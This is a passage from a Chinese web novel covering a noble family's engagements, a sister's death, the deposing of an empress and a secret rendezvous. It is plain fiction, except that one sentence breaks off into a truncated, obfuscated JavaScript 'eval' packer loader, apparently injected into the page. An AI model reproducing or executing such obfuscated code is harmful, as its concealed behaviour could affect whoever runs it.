屋内人却像是听见了端木玄的声音,一阵猛的东西撞落的声响,人便冲到了门边,人影隐隐约约的映在窗纸上看不太真切,拍门声却很响:“由许,由许......世子,我没有做什么对不起你的事......我也可以不要这什么王妃之位,你就让我见见阿缡,她是你亲妹妹啊——” 端木玄隔着门,声音仍像是冬日塞北的烈风:“我已替父王作主将沐安郡主许配给颍川守备的嫡长子,还请母妃明日到别苑去主持郡主的婚事。” 殷嫣的指甲划在门上,声音刺耳。她身形发颤,凌乱的鬓发被烛光均匀斑驳地投射到一扇扇窗上,仿佛鬼魂摇曳。端木玄负手而立,近黛和寒峦低首伴在他身侧,影子安静地落在萧瑟的院子里。 16. 第 16 章 萧晨和端木婉领着张雁出去应酬,端木萌寻到师吟月这儿来躲懒,正巧师冉月正寻摸着织云的手艺,遂干脆把小圆桌搬到院子里去,摆上茶水糕点,三人围坐着,把音儿、织云、织雨、尧儿和行湘也赶到一旁去自己玩。 师吟月一直时不时咳嗽,依旧得披着披风坐着。她自己喝着热茶,问师冉月道:“你如今是定下来要嫁给楚王世子了?” 师冉月叫人把小铜炉搬来放在脚边,学着书上川蜀地区的火锅,叫厨子搜罗了各式辣椒花椒一类用牛油一起熬煮了,凝固起来放好,拿了一小块放在锅子里煮开,又把刚刚织云替她准备的肉片、蔬菜一一下进锅里煮。端木萌起初还在旁边好奇,却被辣椒味儿呛走。师吟月完全吃不了一点辣,也丝毫不对师冉月如今时不时搞的那些新奇古怪的东西感兴趣。 “差不多吧。他说还有些事要回慕州料理,大概是要回去告诉楚王和楚王妃。” 端木萌震惊:“他都未告知王叔,自己就来找大哥商量婚事了?” 师吟月冷哼:“倘若知道了,怎么会允许他在如今这关头和师家联姻。” 端木萌吃了半个莲蓬糕,道:“怎么,不说别的,安王能把女儿嫁到师家来,楚王便不能娶一个师家女回去?没有这样的道理。” 师吟月只转头看师冉月道:“这些是他与大哥要考虑的事。我只问你是怎么想的。” 师冉月刚被一口肉片烫了舌头,兼着辣味儿,连抢了师吟月两杯茶,就差捧着茶壶直接喝了。师吟月无奈给她顺了顺背,师冉月顺了气儿,道:“我能怎么想嘛。这世上如三嫂一般嫁给自己青梅竹马心爱之人的有几个?” 端木萌红着脸笑骂道:“不提我你就不会好好说话了吗?”她与师霖的某些重要时刻总是能被师冉月“恰巧”旁观,更别提当年岳皇后逗她时,她嘴硬说讨厌师霖,却被旁边的师冉月问:“云和姐姐,你真的不喜欢三哥吗?昨天晚上我还在东宫的荷花池旁看见你和三哥牵手呢。” 师冉月胳膊上被她不轻不重地拧了一下,笑着往师吟月怀里躲。师吟月半搂着她,无奈笑道:“我是怕你将来日子不好过。这些日子看来,端木玄心思深沉,不可琢磨。你又傻愣愣的,别被人骗了去还不知道。知道了你便又要难过伤心,自己琢磨自己起来。” “楚王府里还有绵姐姐呢,大不了我与她玩就罢了。” 师吟月叹气:“你叫她绵姐姐,是你是师二姑娘,她是林姑娘或者世子侧夫人。等她得叫你一声夫人,甚至叫你一声王妃的时候,等她的孩子得尊称你为母亲的时候,你们两个是什么样还未可知。” 端木萌往剥了莲子的莲蓬里灌茶水,无聊道:“不过日子总是能过下去的。嗳,你要是有个喜欢的人也罢,偏巧你却没有,日后过得不好,想难过都没处难过去。” 师冉月不服道:“怎么你们一个两个便已经知道我日后过得一定不好了似的。何况我若难过,总有原因,跟喜不喜欢谁有什么关系?”至于林绵,到底是从小一起长大的,师冉月相信自己看人的直觉。她理解前两年在京城时,林绵初入楚王府做还未娶正室的世子的侧夫人,身后又越来越没有依仗,只有靠自己在王府站稳了脚跟。若是彼时师冉月就也紧跟着与端木玄有了婚约,林绵必然叫外人以为无足轻重,以致受人慢待。而今她自觉有了长子做依凭,命运不会被人随意指使,想必又能安心下来,不至于那般草木皆兵,将自己折磨得不成样子。 端木萌被噎住。师吟月又咳了两声,手虚按着胸口,缓缓道:“也罢。如鱼饮水,冷暖自知。你既然已经做好了决定,那就随你去吧。就算将来真有什么,再做打算就好。” 承祐十三年冬月初二,大吉,楚王世子端木玄与逢州太守次妹师冉月订婚。 虽无诏书御赐,然而端木玄却请来了宗碟,尽管不知道他个中是如何斡旋得来,但也能算是今上默认。一时间逢州与慕州沾亲带故的也都热闹了几日。 依礼进行完了订婚的各个步骤,逢州的一些官宦家的夫人姑娘们数着聘礼围着师冉月惊叹不已。师冉月羞红着脸作新定亲的样子,心下对端木玄的夸张也惊讶且无语。她这些年见过的聘礼,最壮观的应属之前抬到张家去的师骁给张雁的聘礼。师晟那个时候她还不记事,师穆和师霖的都是按礼部的要求、皇家的规矩,好些是虚抬。京城里她见过的其他人家互相之间总是在面子和里子的明争暗斗之间保持一种奇妙的平衡,总也不会多到哪里去。而端木玄整整送来了一百零八箱实抬的聘礼,天南海北的珠宝绸缎貂皮狐裘海鲜香料,还有西域进贡的、海上淘来的各种新奇的外邦玩意儿,就连领头的那两只大雁笼子都是金丝编的。 端木萌与她咬耳朵:“好好的世子爷,搞的像个暴发户。” 师冉月无奈扯嘴笑笑。 不过她原以为来送聘礼的领头的侍女该是烟水了,可却仍旧没见到她,却是另一个瞧着身姿也不像是普通伺候的丫鬟。 男人们仍旧在前面喝着酒,萧晨也与各家夫人、老夫人们应酬。师冉月接受着女伴们的赞美和恭维,心下立志要学母亲和大嫂的样子,因此挺着腰板一刻也不敢休息,直到二更天,女眷们渐渐都散了,这才松懈下来,“哀嚎着”回了房间叫音儿揉腰。 新岁至,诏令改元,是为大道元年。 师吟月入了冬便常常卧床不起,虽也好似除了日常的咳嗽没什么大毛病,只是一直困乏,醒了不一会儿便又困了。师冉月与萧晨她们妯娌几个得了闲便来给她解解闷,不叫她成日里昏睡,织云也变着法地研究些可口的吃食吊她胃口。织雨坐在她床头读些情节有趣的画本子,声调抑扬顿挫的,叫人忍俊不禁。小丫鬟在旁边时不时给她送上茶水润嗓子。 “过年放那爆竹响了一天一夜,也没见她多精神。”端木婉叹道。 萧晨摇头:“各地的郎中也都瞧了,说是心气郁结,我们也只能尽可能叫她开心些,还得看她自己愿不愿意放下了。” “安允要是还在就好了,她好歹也能有个念想。” “也不一定。她原先也不太喜欢小孩子。哥儿姐儿到她那儿她也嫌吵闹。”端木萌道,“就算安允在,她说不定也只教奶娘养着。何况在咱们家吃喝教养都不愁的,她也不必为着安允的将来作什么打算,也费不着她的精力。” 师冉月替萧晨到庄子里收了年租,又算了一下午账,这会儿劳累着到端木萌这儿讨口果酒喝,听着她们说话,心里难受,没说几句便回了自己院子。路过师吟月的小院,不到二更天却已经熄了灯, “这两日你都随我在外面,也不晓得姐姐怎么样了。” “啼樱去找织雨打听过,她说织雨这两日晚上都悄悄哭,说大姑娘现在和她老家的一个婶子一样,那婶子......” 师冉月叹了口气,道:“罢了......姐姐总归还放心不下我。”她这两日东奔西跑又与人周旋,实在劳累,叫啼樱打了热水泡了脚解乏,便也吹灯歇下了。 这一宿睡得很不安稳。大抵是炉火烧得有些旺,师冉月翻来覆去好久未能安眠,终还是叫了守夜的啼樱将炉火挪远些,又撤了些炭火,才终于睡下。却又做了些乱七八糟的梦,似睡非睡间便听见外面一阵窸窸窣窣的声音,她感觉四肢都有些疲软无力,显然是没睡好,但还是揉揉眼睛喊道:“音儿,啼樱,怎么了?” 音儿打开门匆匆进来,还顾着赶紧把师冉月用被子捂好以防吹着冷风,却是已经红了眼眶,颤声道:“大姑娘走了,姑娘节哀。” 徐聆雨一身素蓝色的衣服,衣摆细密地绣了层层玉兰花。二九年华,正是明媚绽放的时候,纵然不施粉黛,也依旧引人注目。她站在师冉月身旁轻声道了“节哀”,师冉月愣了愣,哑着嗓子道了声谢。 “原先听说大姑奶奶为姐姐的婚事担忧良久,如今姑娘也订了亲事,大姑奶奶应当可以安心了。” 师冉月此时不欲与人多言,只点了点头。徐聆雨却仍未走开,接着问道:“不知姐姐的未婚夫婿可会来吊唁?” “他在慕州有事。”师冉月淡淡道。 端木婉走过来道:“原来徐大姑娘在这里,方才梁夫人还在找你呢。小芜,领徐姑娘过去。”徐聆雨闻言,只好点头走开。端木婉扶着师冉月的肩,轻轻捏了捏。师冉月握住她的手道:“我无碍,只是有点累了。” “累了便去歇着吧。你在吟月面前累倒了可怎么行,叫她走了还要为你费心。” 师冉月叹道:“罢了,我去看看岳夫人。” “别去了,我和云姝刚从她院里回来,她刚睡下。” “好吧。”师冉月又问:“四哥还好吗?” “有弟妹在呢。你只管歇息去,咱家还用不到你人人操心呢。”说着便拉着音儿送她回去休息。音儿忙不迭扶她走了。师冉月连着几日守在师吟月灵前,好似是唐烨又去世了一次。可师冉月一坐回床上,就好似又回到那日音儿告诉她师吟月的死讯。窗外连着几日雾蒙蒙的不见晴,屋内也是灰败清冷。音儿指挥着小丫鬟们点上炭火,燃起灯烛,才觉得有些亮堂暖和了。 “姑娘,我叫小厨房做了抄手和灌汤包,还有八宝粥和米糕,姑娘吃点热的,免得胃里难受。” 师冉月是觉得胃里空着,喉咙里却拒绝吞咽食物。她吃了两个抄手,多加了些醋,才觉得能吃进去东西了,又连着吃了几个灌汤包和米糕,看得音儿觉得比她什么也不吃还吓人,忙把剩下的菜又收走,道:“一下子吃太多会伤胃的。” 师冉月哭笑不得:“你如今像个老嬷嬷。” “姑娘这么不叫人省心,别说我了,啼樱也得像个老嬷嬷。” 啼樱正端着养胃茶来,闻言笑道:“音儿姐姐拿我打趣。” 师冉月喝了茶:“你们也不必费心思逗我笑了,你俩也都不是会讲笑话的人。我好好歇息就是了。” “大道”这个年号,好似是不幸的开端。 师吟月葬在了师家祖坟,按着她原先的要求,她的墓碑上只写了师氏长女吟月,没有与李家有关的任何痕迹。 师冉月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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师晟沉声道:“方才接到的消息,皇后岳氏,有谋反之嫌,着废皇后之位,不日诏告天下。” “不可能!”端木萌“唰”地起身,“我母后怎么会谋反?!” 师霖起身按着她坐下,师晟接着道:“太子已被禁足东宫,史太尉领禁卫军围了颍川侯的宅邸,岳家现在已经没有消息进出了。施尚书家也有禁军看守,施贵妃也被禁足,闽中郡王如今在宫中,还没有消息。” “和言——和言怎么样?”师冉月急道。 萧晨摇了摇头。 师晟接着道:“岳家这次大概保不住了,只看今上是否会看在定陶公主的面子上留一条生路。” 端木萌浑身发颤瘫软在椅子上,嗫嚅道:“他怎么能......他何必......”师霖只能反复捏着她的手臂作安抚。师穆问道:“官氏如今如何?” “没有什么不好的消息。除了闽中郡王妃现在在何处还未可知,但上个月官氏有任职的男丁基本上被外派出京,这次应该不会对官氏出手了。” 萧晨接着道:“不过这次是否会再次波及到我们家还未可知。我们方才已经联络了楚王府,请世子帮着在慕州寻了一处宅子,后日我们便启程,以送嫁的名义去慕州。” 师冉月心下思忖,这便是在明面上宣告天下师家背靠的是楚王府了。今上如今只对东宫旧臣与外戚——近二年世人称之“旧党”,而将史太尉一派称作“新党”,也因着这一派多是武将,也称之为“武党”——动了杀心,对端木氏宗族仍很宽厚。 师晟又道:“女眷带着孩子去慕州。你们三个随我留在逢州。” 萧晨一惊,转头对上师晟的眼神,师晟却轻轻摇头制止了她,道:“全是女眷与幼子,除非夷族之祸,否则不会波及,又有郡主与公主在,想必应该没有大碍。” “这般会不会波及到楚王府——”师冉月问道。 “今上若是想动楚王府或安王府,兴许会波及到师家,但如今来看,由师家而波及到楚王府的可能性还很小。” 毕竟比起怀疑谋反,皇帝更像是找借口从老臣手中收回权力,培植新的势力。若是真的疑心谋反,以皇帝如今的心思和手段,师家连来逢州的机会都没有。 皇族与大小地主掌握天下土地,把控天下之生产,皇权和地主的权力皆源于土地,而皇权依靠着大小地主的支持,地主之权力又是皇权的赠与。是以有些君王喜好平衡之术,挑起党争,坐收渔翁之利;有些君王喜欢此消彼伏,舍弃旧望族,培植新望族——正如今上;有些君王手掌大权,不屑于朝臣势力,天下皆臣服;有些君王权力收缩,依靠权臣作傀儡生存...... 萧晨忍下心中异样的情绪,轻轻呼出一口气——那声音与长叹也无异。她道:“那么一会儿大家便着手收拾行李罢。不必带太多,只管紧要的拿。后日一早我们便启程去慕州。” 张雁未见过这样的事儿,有些胆怯,师骁却已与兄长们忙着商议旁的事情。师冉月倒是已经勉强定下心来,看着她面色苍白的样子,轻轻握住她的手,微笑道:“四嫂,莫要害怕,只当是我们全家女眷和孩子们去慕州游玩一段时间,顺便送我出嫁了。” 17. 第 17 章 一行人向西走,方出了逢州,便听见废后的诏令已被传遍各地,百姓们讨论的声音沿路飘进马车里,端木萌担忧又心烦,闹得头疼不止。师霖在她上马车前答应她会打探,所以如今她干脆昏昏睡去逃避,也只留了最小的师言跟奶娘在自己身边,倒是把师婷欢和师迟交给了师冉月照看。 师婷欢如今三岁的年纪,已经是一个独立的小人儿,并且十分不屑于依赖奶娘,缠着师冉月和音儿要玩。师冉月叫音儿折了两枝新发芽的柳枝来,和师婷欢一起剥开树皮,用里面的汁水在纸上画画,因为师迟方才把师冉月车上唯一的毛笔塞在嘴里不肯拿出来,被奶娘一抢又顺手扔到了窗外。 “好啊迟哥儿,那可是你祖父送我的毛笔。”师冉月捂着额头发愁,师迟已经又把砚台拿了起来。奶娘手慢一步,还是叫他把残余的墨汁洒了满身抹了满脸,师冉月无奈,叫奶娘给他换了衣裳,又亲自把他抱在怀里擦干净脸。兴许是擦得太温柔,这小子“咯咯”笑了一会儿,居然睡着了。奶娘把他接回怀里抱着,师冉月才松了口气,给师婷欢摆了个“嘘”的手势,叫音儿教她们用柳枝编小兔子。 “那是用狗尾草编的,柳枝太硬了呀。”遂改成编篮子。 师婷欢跟着音儿一步步学,倒是很认真,也很聪明,学了一遍之后就可以自己独立编了。她编着编着,却突然问师冉月:“姑姑,我娘很伤心,但是她为什么伤心,是外祖母走了吗,像大姑姑一样?” 师冉月愣住。小孩子还不懂得什么是死亡的时候,已经先被教着不能直接说出那个不详的字眼,要用各种不同的字词来掩饰代替。 但是岳皇后究竟如何,是已经被赐死还是仍被幽禁,仍然未可知,只能从东宫和岳家的状况隐约着猜测。她却不知道该怎么回答师婷欢的问题,思虑良久,只好说:“姑姑也不知道。” “大人也会有不知道的事吗?” “当然,即使是教书先生也会有不知道的事。” “啊?那什么事是教书先生不知道的,下回他再罚大哥抄字,我就去问倒他。”师焕已经开始请先生启蒙了,不过这一去慕州,怕是启蒙便要有所停滞。不过若是萧晨能闲下来一些,她自己也可以教师焕了——不只是启蒙,恐怕考进士也是足够的。 “先生不知道的事......比方说,先生大概不知道该怎么种出好稻谷。” “那谁知道怎么种出好稻谷呀?” “种庄稼的人知道啊。” “什么是种庄稼的人?” “就是......比方说你院子里的地,你在上面跑跑跳跳,你爹爹在上面辟出沙地习武练箭,你娘叫花匠来种花,那有的人就会把地开垦出来......就是——用工具弄松软湿润,然后把种子埋在里面,用土盖起来,然后定时浇水啊。清除杂草啊,种子就会变成小苗。这样的人差不多就是种庄稼的人。” 师婷欢仍然听得一知半解,缓慢地点了点头。 好容易把这孩子也折腾累了,昏昏欲睡,那边师迟又睡醒了来了精神。师冉月扶额叹气不已,终于明白为什么别人家都把孩子全权交给奶娘管,一个奶娘不够便多找几个,到了年纪便交给先生,实在是亲自管教太过累人。 由于师景安、师莞安还有师玘各个肖似他们性格一个比一个沉静的父母,因此虽然要管三个孩子,端木婉也还算清闲,甚至松弛地来打趣师冉月:“这还只不过是叫你管这一会儿功夫,等你有了孩子,成天都闹着你,那才有你好受的。” 众人在度州城新塔镇的驿站歇息。行程已至一半,舟车劳顿许多天,人和马都没有什么精神。度州在京城正南,也算是中原地区,如今天也愈发热了起来,引得人烦闷易躁。 前两日刚收到消息,岳诗君被废后便被送至了皇陵旁的行宫守陵,颍川侯岳义夺颍川节度使之位并爵位,赐死,其妻殷氏赐死,妾燕氏流放;其侄骁勇将军岳和与夫人施谧赐死。岳家抄家。驸马岳炳已经牺牲,因此被抄家后的岳府里便只剩定陶公主端木葭带着一双儿女岳添和岳佳,还有岳道茂勉强住着。户部尚书施仲被革职流放,其夫人唐昧听说了女儿施谧的死讯,急火攻心昏迷不醒,加上本身上了年纪,没几日便去世了。闽中郡王被遣送回郡王府禁足,施贵妃也禁足在宫中,没有旁的消息。 岳诗韫听到了消息,仍旧只是摆弄着她那些诗书,并没有什么波澜。最近她沉迷于整理有师吟月批注的书籍,似乎已不理世事。端木萌多日来已有了心理准备,听说岳诗君没有被赐死,长姐端木葭也总算保全,东宫暂时也只是不再辅佐朝政,没有别的处置,也算宽了些心,这回在新塔镇歇脚,总算多吃了些东西,气色也好了些许。 “这次到此为止,大概能算结束了罢?”师冉月问萧晨道。 萧晨想着岳义等人的死,心底泛起凉薄唏嘘,只叹道:“但愿。听说这次抄岳、施两家仍旧是史太尉带人去的,倘若他因此多张扬些,兴许今上便要锉锉他的锐气,便能叫我们有些喘息。” “岳氏成年的男子都被赐死或者流放了,只剩一个岳添。官氏的人都被外放。这般我们在京城的根基便没剩多少了。其余那些有的不堪一提,有的更是墙头草......”端木婉一一数道。 “父亲不是在御史台还有几个门生?” “那些都是寒门子弟,或是些不起眼的小族,顶多在某些时候为我们所用,却不能形成根基。”萧晨叹道。 正说着,随行的侍卫来报:“前面要留步的厝州安平镇从昨晚起戒严查匪患,若是被拦在城外恐怕没处落脚,还请夫人定夺。” 萧晨道:“那便先在这新塔镇停留几日,待戒严令解了我们再启程。” 端木萌道:“若是这样,不如去度州城内住?” “这驿站也算宽敞了,何况我们的东西都已经放置在这里了,若是进度州,恐怕车马没处安置,何况你我的身份,进了城若是遇上什么人也不大好,招来应酬就更麻烦了。”端木婉道。 驿站的驿卒来添茶水,错身处狭窄,师冉月便站起身来让位置,顺便问道:“镇上可有什么去处值得逛逛?” 那驿卒先低头行了个礼作了个揖,才抬头笑着答道:“这姑娘倒是问对人了。这新塔镇虽小,但‘五脏俱全’。您要不想往远走,那镇上的土地庙和后日逢五的城隍庙都很值得一去;往远些走着,镇南边就是汇入京江的朝晖河,河的南岸便是翠微山,这名字便是取自‘千家山郭静朝晖,日日江楼坐翠微’一句。这山这河都是风景绝佳。” 师冉月微笑着谢过,又向萧晨道:“大嫂,若是没什么要紧的,我就去四处走走解解闷了。” “今日便不要走远了。你要去哪提前与我说,若是有什么事我也好找你。多带几个人随行。” 端木婉也道:“正是。若是厝州闹匪患,这里离那边也没多远,说不定也不太安生。” 师冉月点头答应,领了两个侍卫,便带着音儿进了城往红螺寺去逛。甫一离了驿站视线,便也只叫那两个侍卫远远跟着,才觉得自在。 土地庙没什么新奇的,只是百姓都祈求风调雨顺、土地丰收、钱谷满仓,所以香火旺,庙宇看上去也是不久前才翻新过。加上据说几十年前院里的老槐上第一个红飘带为一个姑娘求得了顺遂的姻缘,于是便开发了求姻缘解红签的事务,引得不少年轻的姑娘盛装前来,为这小庙添了几分颜色。 “城隍庙大概也是一样的。”师冉月把玩着手里的红签,上面没有一点墨迹。“各地的庙会不过是大同小异,大伙借这个机会凑热闹罢了。” “姑娘,不如我们明日去他说的那什么山看一看?有咱们家的侍卫跟着想必也不会有什么事。” “罢了罢了。”师冉月兴致缺缺,“这一路上也净是山啊水啊的,估计也没什么新鲜劲儿,不如在驿站歇歇。”两人并肩往驿站走,侍卫在十步之外遥遥跟着。“虽说也因为这次朝廷动荡,不过总还是因为我要成亲的缘故才到慕州去......总是觉得有点不可思议。” “我可是从小就想过姑娘出嫁的样子呢。”音儿哄笑道。 “哪有什么好想的,”师冉月失笑,“我连嫁衣什么的都不用自己准备。昨日听说绣娘已经备好了花样,等着到慕州就能看见了。”她拍一拍音儿的手道:“你呀,不如想想自己。我瞧着你与跟着三哥的那个侍卫成和在逢州时......” “哎,姑娘别说了。”音儿从听到成和名字的时候面颊就烧红了,这会子连耳廓都是红透的。师冉月轻轻刮了刮她的脸,道:“我还没说什么呢。不过说真的,若是我没记错的话他应该是成伯的儿子吧,惠嫂会同意的。你若是抹不开面子,不如我去替你说?” “再......再等些年吧,何况就是嫁了人——别管嫁谁,我还是要跟着姑娘的。” “好吧好吧,你自己的事还是自己定夺。不过你今年也要十八岁了,莫要管别人家的侍女丫头们是什么时候嫁人,你只管按你心意来,我便给你做主。” “谢姑娘。” 主仆二人回到驿站时,正赶上用晚饭。 “你回来的巧,驿丞送来了两条鱼,说是他们在那什么河里钓的,大嫂吩咐咱们的厨子一条清蒸一条红烧了,快来尝尝。”端木萌似乎恢复了精神,杏眼里装不下什么情绪,只有声色犬马寻欢作乐放在眼前,外人看不明白里面。“对了,方才有人送了东西来,说是你在红螺寺落下的,我叫啼樱给你收着了。” “东西?音儿,咱们落下什么了吗?” 音儿围着她转了一圈,绣栀子的手帕,腰上的玉佩和香囊,头上的钗子和珠花,一个都不少。 “去看眼罢了。”师冉月说着,拉着音儿先回了放自己行李的房间。“也顺便换身衣服。” 到了房间,叫啼樱拿来那东西,却是一个从未见过的青金石色锦囊,上面用黑丝线杂着金丝绣着麒麟的暗纹,“我瞧着不是姑娘的东西,但这看着像是皇家用的,我怕是世子拿借口不想叫旁人知道给 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师冉月反复抚摸着玉佩的暗扣,两块玉佩下系着的流苏已是不同的色泽。师冉月的一直系在腰间,每年一换流苏坠子,虽然已经尽力找相同的颜色,但是丝线仍然有细微的差别。另外半块的流苏看着仍是原来的丝线,被精心收着,有些旧了,却不减光彩。 “这样的丝线便是当年流行的样式,后来京中便找不到了。”音儿轻声道。 “真的会是他吗?”师冉月有些迟疑着期许,人却已经不是方才的恍惚,而是有种莫名的亢奋。玉佩的光泽映在眼睑,柔柔的水光在轻轻跳跃。“他最后一封信告诉我的是他要从卿州北上去知郡,知郡是离度州没有多远,可那已经是两年前了......音儿——快把那些信拿来!” 音儿从包袱里找出师冉月收信的小匣子。 这次本来走的匆忙,连师冉月的妆匣也没带上,只挑了几个喜欢的首饰带着,其余的都留在了逢州。不过这些信还是被师冉月专门寻来了一个轻便的桦木匣子,是她在京城时得的一个东北部族进贡的,木质细腻轻便,头几年还能闻见有些甜味儿的木香。在逢州时,她在庄子旁的村子里遇见一个手巧的小木匠,特意把匣子拿给他在上面雕了鱼纹和荷花纹样。 师冉月取出最上面也是最新的一封,反复确认了内容,轻轻吐气道:“兴许绕了一圈又回来了......这里离慕州也近,风土人情也相似,想必他住得更舒服些。” 啼樱这厢在门外喊道:“姑娘,大夫人催您去用晚饭了。” 师冉月如今哪有吃饭的心思,恨不得先立刻抓那驿卒问个清楚,可又怕萧晨她们看出些什么,只好将玉佩匆匆收好,快速换了身衣裳出门去。 刚一跨出房门看见走廊中堆放的行李,突然想起这趟去慕州原是为了她与端木玄的婚事,师冉月心中似有一转瞬的失落浸泡,却还是抵不过那玉佩带来的激动。在萧晨抬眼望过来前,她匆匆低声嘱咐音儿找来那驿卒,待她用过饭便寻他问些话。 端木萌见她来了,道:“换身衣服怎么这么久,鱼都要凉了。” 师冉月笑着夹了一块,“无妨。” “凉了会腥呀。”端木萌道,却被旁边趴在椅子上的师婷欢打断:“娘亲,为什么凉了会腥啊。” 端木萌哽住。端木萌一一望向萧晨、端木婉、张雁和师冉月,几人全都面面相觑,却是师焕道:“我知道。厨房的陈妈说鱼本来就是腥的,加了姜蒜之类的调料就把腥味盖住了,凉了之后调料的味道散发不出来了,腥味儿就又出来了。” 婷欢崇拜地看向她哥哥,连同景安。 然后婷欢便转向师冉月:“姑姑姑姑,你为什么也不知道鱼为什么凉了就会腥呢?” 师冉月脑子里还只想着她那锦囊里的两只鱼儿,还怕有谁发现她没戴那块玉佩来,突然被婷欢问话吓了一跳,却也奇道:“婷姐儿为什么觉得姑姑会知道呢?” “因为姑姑就是好像什么都知道啊。上次,上次姑姑还告诉我怎么用蚯蚓钓鱼,娘亲就不知道。我问娘亲怎么捉鱼,娘亲只会往池子里撒鱼食。” 端木萌忿然:“我告诉你的是可以撒网。” “但是娘亲不知道怎么织渔网,姑姑知道。” 景安也点头赞同:“姑姑还会给花授粉,像蜜蜂那样。” 师焕的眼睛也亮起来。师婷欢一从师冉月那儿听来什么便去跟他讲,要帮他难倒先生。 端木婉笑道:“你在逢州去那几趟庄子,学的倒不少。这些稀奇古怪的东西竟不知道怎么讨的你兴趣。” “我倒觉得这些才是真知识。农人知晓这些可以维生,与学那些‘之乎者也’的考科举做官拿俸禄是一样的,只不过拿俸禄的还要盘剥农人的收成。”师冉月道。 “莫要说有趣不有趣的,”端木萌抱起婷欢,“先将你碗里的饭吃净了。下午莫不是又去偷吃酿梅了?” 婷欢把头摇成拨浪鼓。行湘笑道:“姐儿是没吃酿梅,倒是喝了碗八宝茶。” 端木萌长叹,只道:“我是管不了了,你不如认你姑姑做娘亲去。” 18. 第 18 章 师冉月匆匆吃了饭,没再参与妯娌几个后续有关孩子吃零嘴问题的讨论,给音儿使了个眼色便先回了自己的房间。 啼樱仍留在门口,只音儿带着那驿卒进了师冉月房间后,便把门虚掩着只留一条缝儿。 不待师冉月问话,那驿卒已先行了礼,道:“师二姑娘,属下奉公子之命,邀姑娘明日往翠微山一游。方才送上的锦囊里便是我家公子的信物,不知姑娘是否愿意应邀前往?” 师冉月仍端然坐着,手中摆弄着那锦囊,适才她已将整块玉佩放了进去。她突然上下打量了一番那驿卒,开口命道:“抬起头来......头往左,是了,这块胎记,你莫不是常更哥哥身边那个许疾风?怪不得方才我便觉得你有些熟悉。” 当年在宫里时许疾风就是跟在端木凛身边侍奉的,因为从左颈到左肩的一大块胎记,加上小书童服制领子偏大些,他人又瘦弱,胎记就很明显,常被人嘲笑。后来端木凛与师冉月熟了之后,师冉月还用自己的香粉帮他遮盖过,却因为几个人玩泼水,许疾风替端木凛挡着,又把胎记给露了出来,急得差点哭出来。 许疾风又行了一礼笑道:“姑娘还记得属下。” “对我你何必自称属下,只当朋友就好。” “不行。公子与姑娘都是属下的主子......不知姑娘明日能否赴约?我家公子现在暂居翠微山,好容易等到姑娘来度州。”虽是这般问出口,许疾风心下却打着鼓:师冉月到底是大户人家教导出来的读过书的女公子,如今又与别人有了婚约,此情此景下自家公子这般邀请属实是有些冒昧了,便一直仔细观察着师冉月的神色,默默考量着是否要再补充些什么。 师冉月却没有犹豫,走到窗边抬起窗户左右打量了一番,便道:“明日辰时,你在驿馆东边那棵桂树下等我。” 音儿急道:“姑娘——”师冉月按住她的手。 许疾风闻言大喜:“姑娘放心,其余的公子都考虑好了,必不叫姑娘有后顾之忧。”说罢便利落告辞离开。 啼樱等他走远了也进屋来,却碰见师冉月又匆匆往外走,竟也不叫音儿跟着,只道:“我去三嫂那里,去去就回,你们呆着就是。” 次日丑时三刻,东边天际方才有一抹白,师冉月穿了一身杏色萝花衣裙,披了件鼠灰色的暗银纹斗篷,带着也披着件素青斗篷的音儿上了停在桂树下的马车。许疾风亲自驾车,一路向南到了朝晖河边,三人又换坐渡船到对岸。 坐在船上时,天才蒙蒙亮起来,湖面上满是暗银的微光,师冉月不知是有些冷还是怎么,浑身止不住地有些打颤,便特意坐得离音儿远了些许,免得叫她察觉出来担忧,一颗心却已经仿佛江中的游鱼,又或是歇在江心沙洲旁芦荡里的沙鸥,天地之间无所不有而任她驰骋——就像她昨晚面对音儿的重重顾虑,自己却觉得哪怕许疾风骗了她,甚至哪怕会付出性命,这也可能是她此生仅有的逾矩的机会,放任自己做如此出格的事。 音儿仍不紧不松地握着她的手臂,自然也感觉到了师冉月的颤抖,自己默默叹气,并不捅破自家姑娘。 有一老翁撑着船,许疾风便也闲下来坐在她们对面,看出音儿的防备和紧张,也不多言,只轻声道:“姑娘可以看看外面的江景。待我们行到江心,大概正是日出的时候。” 鱼儿从江中被打捞起来,破出水面,呼吸困难。 师冉月从自己胡乱的神思中脱离出来,轻轻点了点头。 许疾风又道:“离了北岸便是我们公子说了算了,姑娘大可放心。” 师冉月听到这儿忍不住轻笑:“听着像山匪。” 许疾风叹:“可不就是像落草为寇。不过公子愿意,我们这些人也就陪着了。” 师冉月仍旧没太与许疾风搭话,只静静看着小舟外,水面一点一点明亮起来,又逐渐染上暖色。起初是一抹黄色,杂在银白的水波下还不大明显,后来慢慢的染上橘红色、红色,再到整条河面上尽是赤红,天光在东方完全是一片暧昧的暖色,夹杂着紫红色在底色里,极尽绚烂,硬是把寂静的墨色挤开,一点一点自地平线顶到西边天穹。朝晖河虽已河命名,却也算宽阔,此情此景倒也有旧诗中“海日生残夜”的意味,叫人完完全全沉浸在其中了。 许疾风看着师冉月眸色与日出之景相接,微微眯着眼,完完全全地沉静,却不像是从前那个夜里寻酒的小姑娘了。音儿却知道自家姑娘现时实在是兴奋到了极点,只不过外表反倒看起来冷静罢了,只能仍在心里摇头叹气——哪怕如今这场面发生在半年前,师冉月与端木玄尚未订婚的时候,在音儿看来那都是皆大欢喜,可如今...... 不一会儿功夫,霞光退却,东方已是天光大亮,向西看去,天边却还沉睡在青黛色中。 师冉月一晃神,余光在老翁悠悠撑着船蒿的动作里,朦胧间瞥见对岸一个孤立着的人影,心头一跳,视线却先匆匆避开,再试探着抬眼寻找时,却又被挡住,找不见了那身影。她也不好做出什么大动作来,只好收回身子做好,双手紧紧握着拳放在膝上,视线在船舱内无处安放,自觉兴许有些脸红,便低着头将双颊藏在斗篷里。 许疾风的声音带着点笑意在她耳边响起:“姑娘莫急,公子就在对岸等你。” 师冉月的面颊立刻又是另一场日出。 不多时彻底到了对岸。 小小的船舱挂着染蓝的布帘,把岸上人几乎大半个身影遮住,只留一双黑色长靴的靴头并一点绀宇蓝的衣摆。师冉月却觉得胸腔里蓦地闯进来一只早起的莽撞的麻雀,有些不知所措,又或是近乡情怯般磨蹭着不敢下船。 